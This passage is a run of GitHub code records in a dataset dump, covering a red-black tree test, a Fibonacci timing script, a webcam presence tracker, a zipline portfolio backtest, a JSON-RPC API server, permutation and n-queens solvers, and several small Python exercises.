key\")\r\n while(node is not None):\r\n if(x < node.x):\r\n node = node.leftNode\r\n elif(x > node.x):\r\n node = node.rightNode\r\n else:\r\n return node\r\n raise KeyError(\"No such key\")\r\n\r\ndef erase(tree, data):\r\n tree.erase(data)\r\n data.markAsIsolated()\r\n\r\ndataList = [13, 17, 8, 1, 11, 15, 25, 27, 22, 6, 0, 256, 254, 18, 3]\r\ntree = RBTreeCore()\r\ndeleteList = [11, 256, 13, 25, 18, 17]\r\nfor x in dataList:\r\n data = Data(x)\r\n if(x in deleteList):\r\n deleteList[deleteList.index(x)] = data\r\n insert(tree, data)\r\ntree.root.verify()\r\nfor x in deleteList:\r\n erase(tree, x)\r\ntree.root.printTree()\r\ntree.root.verify()\r\nassert(search(tree, 6).x == 6)\r\nassert(search(tree, 254).x == 254)\r\nassert(search(tree, 3).x == 3)\r\nassert(search(tree, 15).x == 15)\r\nassert(search(tree, 1).x == 1)\r\ntry:\r\n search(tree, 999)\r\n assert(False)\r\nexcept KeyError:\r\n pass\r\ntry:\r\n search(tree, 4)\r\n assert(False)\r\nexcept KeyError:\r\n pass\r\n","repo_name":"tuxzz/infrastructure","sub_path":"python/rbtree/rbtest.py","file_name":"rbtest.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"18718339389","text":"#librerias para la graficadora\nimport numpy as np\nimport matplotlib.pyplot as plt\n# importa la libreria para poder calcular el tiempo de ejecucion\nfrom timeit import default_timer\n\n\n# fibonacci de manera iterativa\ndef iterativo(n):\n # dos primeros numeros de fibonacci\n\n terminos = [0, 1]\n\n i = 2\n\n while i <= n:\n terminos.append(terminos[i - 1] + terminos[i - 2])\n i = i + 1\n return terminos[n]\n\n\ndef nums(x):\n lista=[]\n for i in range(x):\n # calculando el tiempo de ejecuccion del fibo\n inicio = default_timer()\n iterativo(i)\n fin = default_timer()\n\n # guardando los tiempos en un array\n lista.append(fin-inicio)\n print(lista)\n # imprimir el resultado del fibonacci\n\n#imprimir los primeros tiempos de n fibonacci\nprint(nums(32))\n'''\n#graficadora\nx = np.array(range(40)) * 1\n\ny = np.zeros(lista)\n\n# controlar tamaño\nplt.ion()\nplt.plot(x, y)\n'''\n\n","repo_name":"frankguido/Fibo","sub_path":"iterativo.py","file_name":"iterativo.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73389397925","text":"# test = []\n# x = int(input(\"What is x?\"))\n#\n# test.append('x' if x == 1 else '-')\n#\n# print(test)\n\n# from itertools import combinations\n#\n# test = [1,2,3,4]\n#\n# for i in combinations(test, 3):\n# print(i)\n\n# string = \"1,2,3,4,5,6\"\n# ls = []\n#\n# for i in string.split(','):\n# ls.append(int(i))\n#\n# print(ls)\n\ntest = [[8, 9, 10, 11], [8, 10, 12, 14], [10, 11, 14, 15]]\ntm = [4, 8, 10, 11, 12, 15]\nresult = []\n\nfor matches in test:\n result.append([])\n for i in tm:\n if i in matches:\n result[-1].append('x')\n else:\n result[-1].append('-')\n\nprint(result)","repo_name":"DanielTrontsios/QuineMcCluskey","sub_path":"QMC/testing(ignore).py","file_name":"testing(ignore).py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72544539365","text":"import os\nimport time\nfrom collections import deque\nimport copy\nfrom datetime import datetime\nfrom queue import SimpleQueue\nfrom threading import Thread\nimport pcv\n\nimport cv2\nimport imageio\nfrom pcv.vidIO import LockedCamera, SlowCamera, Camera\n\nfrom db.video_data_db import insert_image\nfrom device_tracking import Tracker\n\nimport sys\n\nplaceholder = imageio.mimread(os.path.join(sys._MEIPASS, \"200.gif\"))\ngif_frame = 0\n\n\ndef stream_placeholder():\n global placeholder\n global gif_frame\n while True:\n current_frame = cv2.resize(placeholder[gif_frame], (320, 240))\n current_frame = cv2.imencode('.jpg', current_frame)[1].tobytes()\n gif_frame = gif_frame + 1 \\\n if gif_frame + 1 < len(placeholder) \\\n else 0\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + current_frame + b'\\r\\n')\n\n\nplaceholder_stream = stream_placeholder()\n\n\nclass VideoProcessor:\n GIF_LENGTH = 10\n FPS = 5\n\n def __init__(self, models, debug):\n super(VideoProcessor, self).__init__()\n self.debug = debug\n\n if self.debug:\n if not os.path.exists(\"tmp\"):\n os.mkdir(\"tmp\")\n else:\n for file in os.listdir(\"tmp\"):\n os.remove(f\"tmp/{file}\")\n os.rmdir(\"tmp\")\n os.mkdir(\"tmp\")\n os.chmod(\"tmp\", 0o777)\n\n self.state_change_count = 0\n self.models = models\n self.previous_state = None\n self.image_id = 0\n self.snapshot = deque()\n self.gif_queue = SimpleQueue()\n self.state_change_time = None\n\n for i in range(2):\n Thread(target=self.record_gifs, daemon=True).start()\n\n def record_gifs(self):\n while True:\n gif = self.gif_queue.get()\n count, state, prev_state, snapshot = gif\n imageio.mimsave(f\"tmp/{count} {prev_state} to {state}.gif\", snapshot, \"GIF\")\n\n @staticmethod\n def put_outlined_text(img, text, where):\n cv2.putText(img, text, where,\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 4)\n cv2.putText(img, text, where,\n cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)\n\n @staticmethod\n def determine_state(states):\n if len(states) == 1:\n return states[0]\n\n elif (states[0] == \"Present\" or states[0] == \"Group\") and states[1] == \"Present\":\n return \"Present\"\n\n elif (states[0] == \"No face\" and states[1] == \"Present\") or (states[0] == \"Group\" and states[1] == \"Present\"):\n return \"Present\"\n\n elif states[1] == \"Distracted\":\n return \"Distracted\"\n\n elif states[0] == \"No face\" and states[1] == \"Absent\" or states[0] == \"Group\" and states[1] == \"Absent\":\n return \"Absent\"\n\n elif (states[0] == \"Present\" and states[1] == \"Absent\") or (states[0] == \"No face\" and states[1] == \"Present\"):\n # TODO: need other signal data\n return \"Inconsistent\"\n\n def set_cam(self, cam):\n self._cam = cam\n\n def preprocess(self, img):\n # TODO: ubrat' eto gavno s debug_image[PICTURE_TO_CHOOSE]\n PICTURE_TO_CHOOSE = 0\n MIN_TIME_SPENT_IN_STATE = 2\n offset = 33\n\n states = [\"Error\"] * len(self.models)\n debug_image = [None] * len(self.models)\n for i, model in enumerate(self.models):\n states[i], debug_image[i] = model.predict(img)\n VideoProcessor.put_outlined_text(\n img=debug_image[PICTURE_TO_CHOOSE],\n text=f'{states[i]}',\n where=(1, 30 + offset * i)\n )\n\n timestamp = datetime.now()\n VideoProcessor.put_outlined_text(\n img=debug_image[PICTURE_TO_CHOOSE],\n text=f'{timestamp.hour}:{timestamp.minute}:{timestamp.second}',\n where=(185, 233)\n )\n\n self.snapshot.append(cv2.cvtColor(debug_image[PICTURE_TO_CHOOSE], cv2.COLOR_BGR2RGB))\n\n if len(self.snapshot) > self.GIF_LENGTH:\n self.snapshot.popleft()\n\n resulting_state = self.determine_state(states)\n\n state_changed = resulting_state != self.previous_state\n\n if state_changed and self.previous_state is not None:\n # and (self.state_change_time is None or (time.time() - self.state_change_time > MIN_TIME_SPENT_IN_STATE)):\n self.state_change_count += 1\n self.state_change_time = time.time()\n\n self.image_id += 1\n if self.debug:\n image_array = cv2.cvtColor(debug_image[PICTURE_TO_CHOOSE], cv2.COLOR_BGR2RGB)\n else:\n image_array = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n insert_image(\n (\n timestamp,\n memoryview(image_array),\n resulting_state,\n \" \".join(map(lambda x: str(x), image_array.shape))\n )\n )\n\n if self.debug:\n self.gif_queue.put(\n (\n self.state_change_count,\n resulting_state,\n self.previous_state,\n copy.copy(self.snapshot),\n )\n )\n print(f\"[{resulting_state}] {timestamp}\")\n self.previous_state = resulting_state\n\n start = time.perf_counter()\n while time.perf_counter() - start < 1 / self.FPS:\n self._cam.grab()\n\n if self.debug:\n return debug_image[PICTURE_TO_CHOOSE]\n else:\n return img\n\n\nclass PythonicVideoTracker(Tracker):\n\n def disable(self):\n if self.cam.isOpened():\n self.cam.release()\n\n def enable(self):\n if not self.cam.isOpened():\n self.cam.open(self.source)\n\n @staticmethod\n def find_available_cams(current):\n arr = []\n for i in range(0, 10):\n if i != current:\n cap = cv2.VideoCapture(i)\n if cap.read()[0]:\n arr.append(i)\n cap.release()\n else:\n arr.append(current)\n return arr\n\n def __init__(self, source, debug, models):\n super(PythonicVideoTracker, self).__init__(debug)\n self.PROCESS_EVENTS = False\n # self.available_cams = self.find_available_cams()\n self.source = source\n self.models = models\n self.processor = VideoProcessor(models=self.models, debug=self.debug)\n self.cam = LockedCamera(self.source,\n preprocess=self.processor.preprocess\n )\n self.processor.set_cam(self.cam)\n\n def change_cam(self, n):\n self.cam.open(n)\n\n def change_camera(self):\n self.cam.open(self.source)\n\n def obtain_frame(self):\n import queue\n\n def do_task(queue, self):\n try:\n queue.put(next(self.cam))\n except pcv.vidIO.OutOfFrames:\n pass\n\n q = queue.Queue()\n grab_frame = Thread(target=do_task, args=(q, self), daemon=True)\n grab_frame.start()\n try:\n return q.get(block=True, timeout=1)\n except queue.Empty:\n raise pcv.vidIO.OutOfFrames\n\n def track(self):\n while True:\n try:\n _, frame = self.obtain_frame()\n if frame is not None:\n # frame = self.processor.preprocess(frame)\n status, buffer = cv2.imencode('.jpg', frame)\n if status:\n frame = buffer.tobytes()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n except pcv.vidIO.OutOfFrames:\n yield next(placeholder_stream)\n","repo_name":"Leosimetti/AV-tracker","sub_path":"device_tracking/pythonic_video_tracker.py","file_name":"pythonic_video_tracker.py","file_ext":"py","file_size_in_byte":7856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39233667517","text":"\nimport tkinter as tk\nfrom tkinter import ttk\n\nfrom matplotlib.pyplot import title\n\ndef imprimirTexto():\n texto_casilla = casilla.get()\n print(texto_casilla)\n\nventana = tk.Tk()\nventana.title('Primera ventana')\nventana.config(height=600,width=700)\n###########################################################\ntexto = ttk.Label(text='Ingrese un valor')\ntexto.place(x=10,y=10)\n\ncasilla = ttk.Entry()\ncasilla.place(x=120, y=10)\n\nboton = ttk.Button(text='Imprima', command=imprimirTexto)\nboton.place(x=120, y=50)\n\n###########################################################\nventana.mainloop()","repo_name":"Rubenz96/LabPrograMiercoles","sub_path":"2022-06-08/tkinter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4203126377","text":"import numpy as np\nimport pemfc.src.fluid.fluid as fluid\nimport cantera as ct\n\nimport time\n\nfluid_dict = \\\n {\n \"name\": \"Cathode Gas Mixture\",\n \"components\": {\n \"O2\": {\n \"state\": \"gas\",\n \"molar_fraction\": 0.21\n },\n \"N2\": {\n \"state\": \"gas\",\n \"molar_fraction\": 0.79\n },\n \"H2O\": {\n \"state\": \"gas-liquid\",\n \"molar_fraction\": 0.0\n }\n },\n \"humidity\": 0.5,\n \"temperature\": 343.15,\n \"pressure\": 101325.0,\n \"nodes\": (1)\n }\n\nhumid_air_pemfc = fluid.create(fluid_dict, backend='pemfc')\nhumid_air_pemfc.update()\n\nhumid_air_ct = fluid.create(fluid_dict, backend='cantera')\nhumid_air_ct.update()\n# print(humid_air_pemfc.mole_fraction)\n# print(humid_air_pemfc.gas.concentration)\n\nwater_ct = ct.Water()\nwater_ct.TP = 373.15, 101325.0\n\n\n# def calc_humid_composition(humidity, temperature, pressure,\n# dry_molar_composition, id_pc=-1):\n# if humidity > 1.0:\n# raise ValueError('relative humidity must not exceed 1.0')\n# water_ct.TP = temperature, pressure\n# molar_fraction_water = humidity * water_ct.P_sat / pressure\n# humid_composition = np.asarray(dry_molar_composition)\n# humid_composition[id_pc] = 0.0\n# humid_composition /= np.sum(humid_composition, axis=0)\n# humid_composition *= (1.0 - molar_fraction_water)\n# humid_composition[id_pc] = molar_fraction_water\n# return humid_composition\n#\n#\n# humid_air_obj_ct = ct.Solution('gri30.yaml')\n#\n# species_names = fluid_dict['components'].keys()\n#\n# dry_fractions = [v['molar_fraction'] for k, v\n# in fluid_dict['components'].items()]\n# humid_fractions = calc_humid_composition(fluid_dict['humidity'],\n# fluid_dict['temperature'],\n# fluid_dict['pressure'],\n# dry_fractions, -1)\n#\n# humid_air_obj_ct.X = dict(zip(species_names, humid_fractions))\n# all_species_names = humid_air_obj_ct.species_names\n# species_ids = [all_species_names.index(item) for item in species_names]\n# molar_composition = np.asarray([item * np.ones(fluid_dict['nodes'])\n# for item in humid_fractions])\n\nn_iter = 1000\nstart_time_pemfc = time.time()\nfor i in range(n_iter):\n humid_air_pemfc.update(343.15, 101325)\nend_time_pemfc = time.time()\n\nstart_time_ct = time.time()\n# temp = 343.15\nfor i in range(n_iter):\n # temp += 10.0\n humid_air_ct.update(343.15, 101325)\nend_time_ct = time.time()\n\nvap_enthalpy_pemfc = humid_air_pemfc.calc_vaporization_enthalpy()\nvap_enthalpy_ct = humid_air_ct.calc_vaporization_enthalpy()\n\nprint(vap_enthalpy_pemfc)\nprint(vap_enthalpy_ct)\n\nprint('PEMFC Time: ', end_time_pemfc-start_time_pemfc)\nprint('Cantera Time: ', end_time_ct-start_time_ct)\n\n","repo_name":"ZBT-Tools/pemfc-core","sub_path":"auxiliary/fluid_libs_comparison.py","file_name":"fluid_libs_comparison.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"5772652428","text":"\ndef one_line_test():\n a = \"1;2;3\"\n b = sorted(map(int, a.split(\";\")))\n print(\"type b:\", type(b), \"type b[0]:\", type(b[0]))\n\ndef save_list_to_csv(one_list, list_name):\n # arr = np.array(one_list)\n # print(\"type of arr:\", type(arr))\n # np.savetxt(list_name, arr, delimiter=',')\n file_out = open(list_name, 'a')\n file_out.write(str(one_list))\n file_out.close()\n\ndef dict_sort_test():\n dict = {'a': 2, 'b': 8, 'c': 4}\n sorted_dict = sorted(dict.items(), key=lambda e:e[1], reverse=True)\n save_list_to_csv(sorted_dict, \"../data_space/dict_test.csv\")\n sorted_dict1 = sorted(dict.items(), key=lambda e: e[1])\n save_list_to_csv(sorted_dict1, \"../data_space/dict_test.csv\")\n print(type(sorted_dict))\n print(sorted_dict)\n print(type(sorted_dict[0]))\n print(sorted_dict[0][0])\n\ndef dict_values_test():\n dict_1 = {\"a\": \"Tom\", \"b\": \"Jacky\", \"c\": \"Pony\"}\n v_l = dict_1.values()\n print(v_l)\n\ndef main():\n # one_line_test()\n dict_sort_test()\n #dict_values_test()\n\nif __name__ == \"__main__\":\n main()","repo_name":"starkhu/python_space","sub_path":"module_test/dict_test.py","file_name":"dict_test.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5613237739","text":"from pypfopt import EfficientFrontier, risk_models, expected_returns, objective_functions, discrete_allocation\nfrom zipline.api import order, symbol, schedule_function, order_target_percent, get_datetime, date_rules, time_rules\nfrom zipline.finance import commission, slippage\nfrom zipline import run_algorithm\nfrom zipline.errors import SymbolNotFound\nimport numpy as np\nimport pandas as pd\nimport pyfolio as pf\nimport matplotlib.pyplot as plt\nfrom utils.scoring import momentum_score\n\ninv_members = 30\nmomentum_window = 125\nmin_momentum = 40\nvola_window = 20\n\n##### Initialization and trading logic - Commission and Slippage Settings\ndef initialize(context, enable_slippage=False, slippage_vol_limit=0.025, slippage_impact=0.05):\n if enable_slippage:\n slippage_model = slippage.VolumeShareSlippage(volume_limit=slippage_vol_limit, price_impact=slippage_impact)\n else:\n slippage_model = slippage.FixedSlippage(spread=0)\n context.set_slippage(slippage_model)\n context.set_commission(commission.PerShare(cost=0.0005, min_trade_cost=None))\n context.index_members = pd.read_csv('../ml4t_data/russell3000.csv', index_col=0)\n context.sectors = pd.read_csv('../ml4t_data/russell3000_sectors.csv')\n context.etfs = ['SPY', 'IWM', 'QQQ', 'GLD', 'MDY', 'EEM', 'EFA', 'HYG', 'TLT', 'GDX', 'DIA', 'IYR', 'XOP', 'SMH',\n 'EWJ', 'VNQ', 'XRT', 'IBB', 'FEZ', 'PFF', 'XHB', 'XLF', 'XLI', 'XLK', 'XLP', 'XME', 'XLU', 'XLV',\n 'XLY', 'SHY', 'FXI', 'XBI', 'XLB', 'IEF']\n # Schedule rebalance monthly to ensure turnover*2\n schedule_function(func=rebalance, date_rule=date_rules.every_day(), time_rule=time_rules.market_open())\n\n\ndef rebalance(context, data):\n \"\"\"\n Execute orders according to schedule_function date and time rules\n 1. beta ranking to filter out stocks outside of beta_threshold range\n 2. build universe of tickers to trade with\n 3. Ranking consists of momentum_0.8 + simplebeta_rank * 0.2).rank()\n 4. maximum sharpe ratio and minimum volatility\n \"\"\"\n today_universe = []\n del_list = []\n for ticker in context.index_members.get_values():\n try:\n today_universe.append(symbol(ticker[0]))\n except SymbolNotFound:\n del_list.append(ticker[0])\n print(get_datetime().date(), 'Tickers taken care of ', del_list, '; total tickers of universe: ', len(today_universe))\n prices = data.history(today_universe, 'close', momentum_window, '1d')\n ranking_table = prices.apply(momentum_score).sort_values(ascending=False)\n\n # Stock Selection Logic #\n kept_positions = list(context.portfolio.positions.keys())\n # Sell Logic #\n for security in context.portfolio.positions:\n if security not in today_universe:\n order(security, 0.0)\n kept_positions.remove(security)\n elif ranking_table[security] < min_momentum:\n order(security, 0.0)\n kept_positions.remove(security)\n\n replacement_stocks = inv_members - len(kept_positions)\n buy_list = ranking_table.loc[~ranking_table.index.isin(kept_positions)][:replacement_stocks]\n new_portfolio = pd.concat((buy_list, ranking_table.loc[ranking_table.index.isin(kept_positions)]))\n opt_portfolio = prices[new_portfolio.index].fillna(method='ffill')\n \"\"\"\n optimization of max sharpe and min volatility\n Several optimization methods to test: \n 1. ef.max_sharpe() is old method, giving out beta=~8 but neg beta and return not good \n 2. ef.efficient_return of 0.2 and market neutral, giving out beta=~11 and neg beta, sharpe=10\n 3. ef_efficient_risk and market neutral of 0.25, the best one so far beta=~-6.83 and negative most, sharpe=1.6\n 4. ef.min_volatility().efficient_risk(target_volatility, market_neutral=True), beta=~9, sharpe=4\n # historical_returns = expected_returns.returns_from_prices(prices[new_portfolio.index)\n 5. target_volatility=0.4 to get a positive beta \n 6. change the expected returns and cov_matrix with target_volatility around 0.2\n \"\"\"\n mu = expected_returns.mean_historical_return(opt_portfolio, frequency=252)\n s = risk_models.CovarianceShrinkage(opt_portfolio, frequency=252).ledoit_wolf()\n ef = EfficientFrontier(mu, s, weight_bounds=(0, 0.075))\n try:\n ef.add_objective(objective_functions.L2_reg, gamma=1.0)\n weights = ef.efficient_risk(target_volatility=0.4, market_neutral=True)\n # ef.min_volatility() # np.array([ef.max_sharpe()]) efficient_return(target_return=0.2, market_neutral=True)\n print(weights)\n da = discrete_allocation.DiscreteAllocation(weights, total_portfolio_value=100000000,\n latest_prices=discrete_allocation.get_latest_prices(opt_portfolio))\n buy_allocation, _ = da.lp_portfolio()\n print(buy_allocation)\n for security in buy_allocation.keys():\n if security in kept_positions:\n print(security, buy_allocation[security])\n order(security, buy_allocation[security])\n elif ranking_table[security] > min_momentum:\n order(security, buy_allocation[security])\n except ValueError and TypeError:\n print('Not enough data for calculating, Volatile Market of Date: ', get_datetime().date())\n\n\ndef analyze(context, perf):\n perf['max'] = perf.portfolio_value.cummax()\n perf['dd'] = perf.portfolio_value / perf['max'] - 1\n maxdd = perf['dd'].min()\n yr_ret = (np.power((perf.portfolio_value.iloc[-1] / perf.portfolio_value.iloc[0]), (252/len(perf)))) - 1\n # Use PyFolio to generate a performance report\n returns, positions, transactions = pf.utils.extract_rets_pos_txn_from_zipline(perf)\n pf.create_returns_tear_sheet(returns=returns,\n live_start_date='2020-01-01',\n benchmark_rets=None)\n plt.show()\n print('Annualized Return: {:.2%} ; Max Drawdown: {:.2%}'.format(yr_ret, maxdd))\n print('Pyfolio Return: {:.2%}\\n'.format(returns.max()), positions)\n return\n\n\ndef get_benchmark(symbol=None, start=None, end=None):\n import pandas_datareader as pdr\n bm = pdr.get_data_yahoo(symbol, pd.Timestamp(start), pd.Timestamp(end))['Close']\n bm.index = bm.index.tz_localize('UTC')\n return bm.pct_change(periods=1).fillna(0)\n\n\nperf = run_algorithm(start=pd.Timestamp('2016-1-1', tz='utc'), end=pd.Timestamp('2020-7-1', tz='utc'),\n initialize=initialize,\n analyze=analyze,\n capital_base=100000000,\n benchmark_returns=get_benchmark('SPY', pd.Timestamp('2016-1-1', tz='utc'),\n end=pd.Timestamp('2020-10-1', tz='utc')),\n data_frequency='daily',\n bundle='sep')\n# 2016-6-8 Failed with solver: cvxpy.error.SolverError: Solver 'ECOS' failed. Try another solver, or solve with verbose=True for more information.","repo_name":"sherrytp/TradingEvolved","sub_path":"examples/backtest_v2.py","file_name":"backtest_v2.py","file_ext":"py","file_size_in_byte":6975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2294996309","text":"from flask import Flask, request, Response\nimport json\n\napp = Flask(\"my-app\")\n\n\n@app.route('/')\ndef hello_world():\n return 'Hello World!'\n\n\n@app.route('/add', methods=['POST'])\ndef add():\n result = {'sum': request.json['a'] + request.json['b']}\n resp = Response(json.dumps(result), mimetype='application/json')\n resp.headers.add('Server', 'python flask')\n return resp\n\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=5000, debug=True)","repo_name":"letiantian/flask-tutorial","sub_path":"demo/flask-demo-004/HelloWorld/server3.py","file_name":"server3.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"52"} +{"seq_id":"30238285996","text":"# exception examples\n\ntry:\n numerator = int(input(\"Enter a number to divide: \"))\n denomiator = int(input(\"Enter a number to divide by: \"))\n\n answer = numerator / denomiator\n\n print(answer)\nexcept ZeroDivisionError:\n print(\"stop trying to divide by zero\")\nexcept ValueError:\n print(\"you need to use numbers\")\n#except Exception:\n# print(\"nope\")","repo_name":"shepsop/python-misc","sub_path":"exceptionhandle.py","file_name":"exceptionhandle.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25627472486","text":"\"\"\"\nMake benchmarkstt available through a rudimentary JSON-RPC_ interface\n\n.. attention::\n\n Only supported for Python versions 3.6 and above\n\n.. _JSON-RPC: https://www.jsonrpc.org\n\n\"\"\"\n\nimport jsonrpcserver\nimport os\nfrom flask import Flask, request, Response, render_template\nfrom benchmarkstt.docblock import format_docs, parse, process_rst\nfrom benchmarkstt.api.jsonrpc import get_methods\n\n\ndef argparser(parser):\n \"\"\"\n Adds the help and arguments specific to this module\n \"\"\"\n\n parser.add_argument('--debug', action='store_true',\n help='Run in debug mode')\n parser.add_argument('--host',\n help='Hostname or ip to serve api')\n parser.add_argument('--port', type=int, default=8080,\n help='Port used by the server')\n parser.add_argument('--entrypoint', default='/api',\n help='The jsonrpc api address')\n parser.add_argument('--list-methods', action='store_true',\n help='List the available jsonrpc methods')\n parser.add_argument('--with-explorer', action='store_true',\n help='Also create the explorer to test api calls with, '\n 'this is a rudimentary feature currently '\n 'only meant for testing and debugging.\\n'\n 'Warning: the API explorer is provided as-is, without any tests '\n 'or code reviews. This is marked as a low-priority feature.')\n return parser\n\n\ndef create_app(entrypoint: str = None, with_explorer: bool = None):\n \"\"\"\n Create the Flask app\n\n :param entrypoint: The HTTP path on which the api will be served\n :param bool with_explorer: Whether to also serve the JSON-RPC API explorer\n :return:\n \"\"\"\n\n template_folder = os.path.abspath(os.path.join(\n __file__,\n os.pardir,\n os.pardir,\n os.pardir,\n 'api',\n 'templates'\n ))\n\n app = Flask(__name__, template_folder=template_folder)\n\n if entrypoint is None:\n entrypoint = '/api'\n\n methods = get_methods()\n\n @app.route(entrypoint, methods=[\"POST\"])\n def jsonrpc():\n req = request.get_data().decode()\n response = jsonrpcserver.dispatch(req, methods=methods, debug=True, convert_camel_case=False)\n response_str = str(response)\n return Response(response_str, response.http_status, mimetype=\"application/json\")\n\n if with_explorer: # pragma: nocover\n app.template_filter('parse_rst')(process_rst)\n\n @app.route(entrypoint, methods=['GET'])\n def explorer():\n split_methods = {}\n individual_methods = []\n for name, func in methods.items.items():\n id_ = name.replace('.', '-')\n cat = 'METHODS'\n splitted = name.split('.', 1)\n if len(splitted) == 2:\n cat = splitted[0]\n item = dict(id=id_, name=name, details=parse(func))\n individual_methods.append(item)\n\n if cat not in split_methods:\n split_methods[cat] = []\n\n split_methods[cat].append(item)\n return render_template('api-explorer.html', grouped_methods=split_methods, methods=individual_methods)\n\n return app\n\n\ndef run(_parser, args): # pragma: nocover\n if args.list_methods:\n methods = get_methods()\n for name, func in methods.items.items():\n print('%s\\n%s' % (name, '-' * len(name)))\n print('')\n print(format_docs(func.__doc__))\n print('')\n else:\n app = create_app(args.entrypoint, args.with_explorer)\n app.run(host=args.host, port=args.port, debug=args.debug)\n","repo_name":"ebu/benchmarkstt","sub_path":"src/benchmarkstt/cli/entrypoints/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"52"} +{"seq_id":"41010759435","text":"# 面试题38 字符串的排列\n'''\n如果面试题是按照一定要求摆放若干个数字,则可以先求出这些数字的全排列,然后一一判断每个排列是不是满足题目给定的要求。\n\n全排列算法,很常见,利用递归\n固定第i个数组,然后处理后面n-i个数组\n这里需要交换2个位置,但最后会交换回来。\nhttps://blog.csdn.net/summerxiachen/article/details/60579623\n\n扩展提是全组合算法\n这里需要用到一个缓存list\n首先将元素压入vec,然后处理lis[1:]后面的元素\n'''\n\ndef Permutation(lis):\n if not isinstance(lis,list):\n return\n Permutation_(lis,0)\n\ndef Permutation_(lis,n):\n if n >= len(lis):\n print(' '.join(lis))\n return\n for i in range(n,len(lis)):\n if check(lis,n,i):\n lis[i], lis[n] = lis[n], lis[i] # 交换两个位置\n Permutation_(lis,n+1)# 注意,这里是n+1\n lis[i], lis[n] = lis[n], lis[i] # 交换回来\n\ndef check(lis,n,i):\n # n,i是指这两个元素需要交换\n # 当lis[n]==lis[i]说明两个元素相同,不需要交换,不然会有重复\n if i > n:# 不用等号是允许自身与自身交换\n # 当不是与自身交换的时候,判断是否会有重复\n for j in range(n,i):\n if lis[j] == lis[i]:\n return False\n return True\n \ndef Combination(lis):\n if not isinstance(lis,list):\n return\n vec = []\n for i in range(1,len(lis)+1):\n Combination_(lis,vec,i)\n\ndef Combination_(lis,vec,m):\n if m == len(vec):\n print(' '.join(vec))\n return\n if lis:\n vec.append(lis[0])\n Combination_(lis[1:],vec,m)\n vec.pop()\n Combination_(lis[1:],vec,m)\n\n# n个皇后问题\ndef queens(n):\n lis = [x for x in range(n)]\n Permutation_n(lis,0)\n\ndef Permutation_n(lis,n):\n if n >= len(lis):\n if SatisfyQueenRequirements(lis):\n print(' '.join(map(str,lis)))\n return\n for i in range(n,len(lis)):\n lis[i],lis[n] = lis[n],lis[i]\n Permutation_n(lis,n+1)\n lis[i],lis[n] = lis[n],lis[i]\n\ndef SatisfyQueenRequirements(lis):\n Flag = True\n for i in range(0,len(lis)-1):\n for j in range(i+1,len(lis)):\n if abs(i - j) == abs(lis[i] - lis[j]):\n Flag = False\n break\n if not Flag:\n break\n return Flag\n\n# lis = list('abc')\n# Permutation(lis)\n# Combination(lis)\nqueens(8)\n","repo_name":"Dengshunge/Target-Offer","sub_path":"test38_字符串的排列.py","file_name":"test38_字符串的排列.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"zh","doc_type":"code","stars":96,"dataset":"github-code","pt":"52"} +{"seq_id":"74948425763","text":"from __future__ import annotations\n\nimport math\nfrom dataclasses import dataclass\nfrom datetime import datetime\n\n\n@dataclass\nclass CodedPurchaseDateTime:\n\n purchase_day: int\n purchase_day_cos: float\n purchase_day_sin: float\n\n purchase_dayofweek: int\n purchase_dayofweek_cos: float\n purchase_dayofweek_sin: float\n\n purchase_hour: int\n purchase_hour_cos: float\n purchase_hour_sin: float\n\n purchase_minute: int\n purchase_minute_cos: float\n purchase_minute_sin: float\n\n purchase_month: int\n purchase_month_cos: float\n purchase_month_sin: float\n\n purchase_second: int\n purchase_second_cos: float\n purchase_second_sin: float\n\n purchase_year: int\n\n @staticmethod\n def from_datetime(purchase_datetime: datetime) -> CodedPurchaseDateTime:\n year = purchase_datetime.year\n\n month = purchase_datetime.month\n month_cos = math.cos(2 * math.pi * month / 12)\n month_sin = math.cos(2 * math.pi * month / 12)\n\n day = purchase_datetime.day\n day_cos = math.cos(2 * math.pi * day / 31)\n day_sin = math.cos(2 * math.pi * day / 31)\n\n dayofweek = purchase_datetime.weekday()\n dayofweek_cos = math.cos(2 * math.pi * dayofweek / 7)\n dayofweek_sin = math.cos(2 * math.pi * dayofweek / 7)\n\n hour = purchase_datetime.hour\n hour_cos = math.cos(2 * math.pi * hour / 24)\n hour_sin = math.cos(2 * math.pi * hour / 24)\n\n minute = purchase_datetime.minute\n minute_cos = math.cos(2 * math.pi * minute / 24)\n minute_sin = math.cos(2 * math.pi * hour / 24)\n\n second = purchase_datetime.second\n second_cos = math.cos(2 * math.pi * second / 60)\n second_sin = math.cos(2 * math.pi * second / 60)\n\n return CodedPurchaseDateTime(\n purchase_year=year,\n purchase_month=month,\n 